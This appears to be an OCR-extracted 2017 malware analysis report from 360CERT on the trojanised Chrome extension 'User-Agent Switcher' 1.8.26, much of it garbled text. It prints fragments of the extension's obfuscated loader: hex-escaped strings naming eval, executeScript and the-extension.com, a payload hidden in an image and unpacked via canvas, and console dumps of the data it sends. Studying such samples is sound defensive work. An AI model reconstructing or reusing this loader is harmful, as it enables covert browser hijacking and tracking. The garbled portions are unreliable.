\ R2E— HAS60
) 360

N % S N https://cert.360.cn

Chrome Extensions

{Chrome &4 User—-Agent Switcher 3%

BREDRE)

ZelRE

Chrome 14 User—Agent Switcher JBEREOHTIRES

RERS

B6-2017-092001

REFRIR

360 pLRZ MR AL

REFE -

cltas

FFETHHE :

2017 9H20H




.

\gi\:f; ?gsgc%)nmrcp,u ht/c.n
H3x

OX00 BT TN oo, 3

OXOL AT AMEIR oo 3

0X02 BLFTHITEM oo, 3

0 O TR X = OO RURRRRTO 4

canvas FAF js ARBIDBRIET ....voveeeeceeeeeeeeeeee s 6

R A A 1 11

FEEEE payload ..o.ecceeeeiiececeee s 14

B BB AT e 15

0X04 FUFHIGAE oottt 19

OX05 BTV oo, 19

OX06 T THIZE ¢t 19

OXOT7 B R oo e, 20



= P LM
0x00 B=7A

https://cert.360.cn

201798 9 H , £ v2ex itinBRFPZE T Chrome 54359 User-Agent Switcher
B R B AR IENRICAFRAAEET . EABFEX, WESETZXE,

360CERT fE55—REIRIIEHHIT 7 01T , FHRM T IE

https://cert.360.cn/warning/detail?id=866e27f5a3dd221b506a9bb99e817889
0x01 {F/3Hkiz

360CERT ZIREZDHT | ARG ESEREEERE R 45 Google

Chrome HiZHIRERE , FHMEXBIHSAFPREERT , EFHECFRF LERFRINTT
SEHEAEFREIS  ESHET 3RF,

0x02 IKHmESZn

AT

£213 360CERT fHHIEHEIA | ImRAMIEERS | CINTBE.
B A

Version 1.8.26

DNS & R&S

» uaswitcher.org



o
\‘ff'?i\’, 350 ZEFE— HA360
NN sk £ MR https://cert.360.cn

HITEEP User-Agent Switcher [113252 Z#518 44 (uaswitcher.org)—"™ H N
ffids%, 7€ 2017 4 8 H 22 Hm sl HiEERIAR| 5 J5Act, /£9 H 9 HEF ks
JEEASWKIBA 4 T AEA I HIEEXK.

» the-extension.com & api.data-monitor.info

BB E WS User-Agent Switcher [ payload FEiE 1 44 Fl 7 45 #E) 1% 44
(the-extension.com;api.data-monitor.info) \1ic 3%, M 2017 & 8 24 22 HHEj15 A iHh
LA LT, HAXT payload H#EIE 3k 44 15 v & s KM B HVE 1.3 JiE A,
X 5T SR 4 U 1l = s KA B HYE 1.1 A, 8T 9 H 19 Hil
M2 46 T F%
VEAZEE R 5 F:360 W 4522 4Tt 78 i (http://netlab.360.com/)
BERRA

B
0x03 i¥15

BORGTT

BB TZdE A linux 2 E1% H S NS BRI < roc SCPRARBL R A 10 B BLSH R
Thig o A



(@) 360
NP W% E S MRy

popup.html |,
User-Agent Switcher for Google Chrome

script-src 'self' 'unsafe-eval'jobject-src
Switcher for Google Chrome switches between

s, contextMenus, http://

% H KSR

JEnY
(o]
0N
n o
(%]
[

bootstrap.min.css
options.css

[TT

popup.css

active.png
glyphicons-halflings.png
glyphicons-halflings-white.png
icon128.png

iconl6.png

iconl9.png

icon38.png

[TTTTTTT

icon48.png

Tr— 1 7T

.
0n

analytics.js
background. js
bootstrap.min.js
content.js
jquery.min.js
JsonValues.js
options.js
popup.js

— manifest.json

[TTTTTTT

REE— RAD60
https://cert.360.cn

ent user-agents.,

JOxeDxh3E+EB
i+d/0zhwIDAQAB,

+HGBw71zBcGKAZWOS] TazDgxzkNG+

[+, storage ],




Z2EE— FHHA360
Y e Rt https://cert.360.cn

F=—metadata
|
|

A:;:
W
1))
)

— computed_hashes.json
L— verified_contents.json
— options.html

— popup.html
L— promo.jpg

4 directories, 25 files

FE4E chrome Ji -4 5 J5 XA SO AZ O B SO

canvas B F js {XiBE20E

IR BAE BN B fE (¥ 70 474 —47 45T js R4
b, 3547 beautify 5

AT DAL BUHE R A BT 1 I BRI, X HELOK S 7 AXAD F Th RE AR 2 0T XA
P ST A s B AL

0x01

Horp o — e I E A



. B2E— HAD60
&)360

¢
N
N g e Rh https://cert.360.cn
in Yh, g
, (45446)
(6,8 3, 1,0, 0,1, 6 3,0 4,1, 1, 6,6, 08 4,1, 4, 1,8, 2,0,0, 3, 0,6 1, 1, 6, 0, 0, ;
TR 2R AR IR T A XA ()10 TG R 3 Ji H () K

FE BRI AN T 10 Jr Ot ot 4 BRHE A 70 & b A R 255 e e AIEW,
X BB ANAE 245 b Fr UK &R IR 58 42 0 FE

ok

S IR SR E



\

in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in
in

in

o

X

pN

— N

¥h,
Yh,
Yh,

Vh,
Vh,
¥h,
¥h,
¥h,
Yh,
Vh,
¥h,
¥h,
¥h,
Yh,
¥h,
Vh,
¥h,
¥h,
¥h,
¥h,
Vh,
Vh,
¥h,
¥h,
¥h,
Yh,
Vh,
¥h,
¥h,
¥h,
Yh,
¥h,
Vh,
¥h,
¥h,
¥h,
¥h,
Vh,
¥h,

—ER AR R A

N

f@ 360

W 4% ¢ 4 M S el
Wil
whl:
whl :
Whl
wWhl:
Wil
whl:
whl:
Whl
wWhl:
Wil
whl:
whl:
whl:
whl :
Wil
whl:
Wil
whl:
whl :
Whl
wWhl:
Wil
whl:
whl:
Whl
wWhl:
Wil
whl:
whl:
whl:
whl :
Wil
whl:
Wil
whl:
whl :
Whl
wWhl:
Wil
whl:
whl:
Whl
wWhl:
Wil

7le
772
787
kil
769
786
775
781
kil
7lae
711
793
788
767
784
702
765
718
798
728
719
728
724
731
761
789
762
798
724
721
762
798
724
772
762
798
724
722
762
798
724
723
789
714
789

https://cert.360.cn

R



/)
5 q;.% EE)(E;(:) B7EE— FAD60
NN ) 2% 22 S 0 il https://cert.360.cn

in Vh for, y: 3
in Vh for, y: 6
in Vh for, y: 9
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document.defaultView["Function™]("console.log(1}; "} ()
1 YM276:2
undefined

document. defaultView]"Function®]

f Function() { [native code] }

document .defaultView]"Function®] (“censole.log(1); ") ()
e

1 -— VM3ET7:2

undefined
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—0x5d937f=_0x9415ed[_0; r2new Date()[_Ox1838(0x3)]()-new Date(_0x5d937f)_ nxlm4)k0‘(ﬂﬁ‘00xﬂolol>‘lr new Date)L_ mmza(oan() stcm“r (! Oudqz"l _0x45c15f){let _0x9415ed="${new URL(c|"w57\x4c’|[_0x1838(0x5)])
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var "\Xx63\x6F\x64\x65" . '\x76\x65\x72\x73\x69\x6f\x6e"’
"\X65\x72\x72\x6f\x72" , "\x64\x6F\x77\x6e\x6c\x6F\x61\x64"'
"\Xx69\x6e\x76\x61\x6C\x69\x64\x4d\x6F\x6e\x65\x74\x69\x7a\x61\x74\x69\x
6f\x6e\x43\x6F\x64\x65" , '\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31"
"\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37"
"\Xx46\x75\x6e\x63\x74\x69\x6F\x6e" , '\x72\x75\x6e' . '\x69\x64\x6c\x65"
"\Xx70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49"' . "\x69\x6e\x69\x74"'
"\Xx68\x74\x74\x70\x73\x3a\x2F\x2F\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x
73\x69\x6f\x6e\x2e\x63\x6f\x6d"' . '\x6c\x6Ff\x63\x61\x6C"
"\X73\x74\x6F\x72\x61\x67\x65" . '\x65\x76\x61\x6C"' .  '\x74\x68\x65\x6e"
"\Xx67\x65\x74" . "\x67\x65\x74\x54\x69\x6d\x65"
"\Xx73\x65\x74\x55\x54\x43\x48\x6F\x75\x72\x73" . '\x75\x72\x6c"
"\x6f\x72\x69\x67\x69\x6e" . "\x73\x65\x74"' ., '\x47\x45\x54"
"\x6c\x6f\x61\x64\x69\x6e\x67"' . '\x73\x74\x61\x74\x75\x73"
"\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72"
"\x6f\x6e\x55\x70\x64\x61\x74\x65\x64" . '\x74\x61\x62\x73"
"\x63\x61\x6c\x6c\x65\x65"
"\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72"
"\x6F\x6e\x4d\x65\x73\x73\x61\x67\x65" . '\x72\x75\x6e\x74\x69\x6d\x65"
"\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74"
"\x72\x65\x70\x6c\x61\x63\x65" . '\x64\x61\x74\x61"' 6 '\x74\x65\x73\x74"
"\x69\x6e\x63\x6c\x75\x64\x65\x73" . '\x68\x74\x74\x70\x3a\x2f\x2f"
"\x6c\x65\x6e\x67\x74\x68" . "\Xx55\x72\x6c\x20\x65\x72\x72\x6F\x72"
"\x71\x75\x65\x72\x79" ., "\x66\x69\x6c\x74\x65\x72"
"\x61\x63\x74\x69\x76\x65" . "\x66\x6c\x6f\x6F\x72"
"\x72\x61\x6e\x64\x6f\x6d" ., "\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74"
"\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6F\x64\x65"
"\x70\x61\x72\x73\x65"
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Jate() [func2 )1() - rp tmpvar2 > c[ | ] ? setTimeout(
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in fetchOverlayPattern, data v Object

a: ""

aj: false

b "

ch: 4

d: @

dada: null

exp: "emmhl2f8kil55k4e89jr2o9lrip”
fr: false

hh: false

new: 310

ng: "start_page"
replaced: false
restarting: false
retroet: ""
kse: []
sesnew: ""
sh: "http://vwww.baidu.com/s=1"
su: "chrome"
tnew: 1565815067561

B tsh: []
Fuk: []
un: "1"
val: 21
var: "1.8.26"
zz: null
S yrotr : Object
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On sale September 18-22 S ﬁ SHOP NOW
Shop these new arrivals before they're gone! ¢ @:‘ﬁi -
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New here? Get your coupons!

CATEGORIES See A Brand Zone€™d Flash Deals Bestselling Tech Discovery Trending Styles
Women's Clothing

UNLEASH YOUR
INNER EXPLORER

Men's Clothing

Phones & Accessories

Computer & Office

Consume Eecroncs ..~ HAUTE COUTURE
ER S -~ HANDBAGS

Home & Garden, Furniture
Bags & Shoes Up to 50% off the hottest
Toys, Kids & Baby
Sports & Outdoors
Health & Beauty, Hair
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in fetchOverlayPattern, data ¥ Object
o

aj: false

b "

ch: 4

d: @

dada: null

exp: "emmhl2f8kil55k4e89jr2o91rip”
fr: false

hh: false

new: 318

ng: "start page"
replaced: false
restarting: false
retroet: ""
Fse: []
sesnew: "
sh: "http://www.baidu.com/s=1"
su: "chrome"
tnew: 1505815867561

F tsh: []
Fuk: []
un: "1"
val: 21
var: "1.8.26"
zz: null
» I rote : Object
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Promise MDN web docs

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Pro
mise

Arrow functions MDN web docs

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Functions/Arrow_fu
nctions

Pixel manipulation with canvas MDN web docs

https://developer.mozilla.org/zh-CN/docs/Web/APIl/Canvas_API/Tutorial/Pixel_manipulati
on_with_canvas

js HIFI1E A
https://www.zhihu.com/question/237201367?nr=1
ANBEE IR —— R B AE DU R S R | AlloyTeam

http://www.alloyteam.com/2016/03/image-steganography/



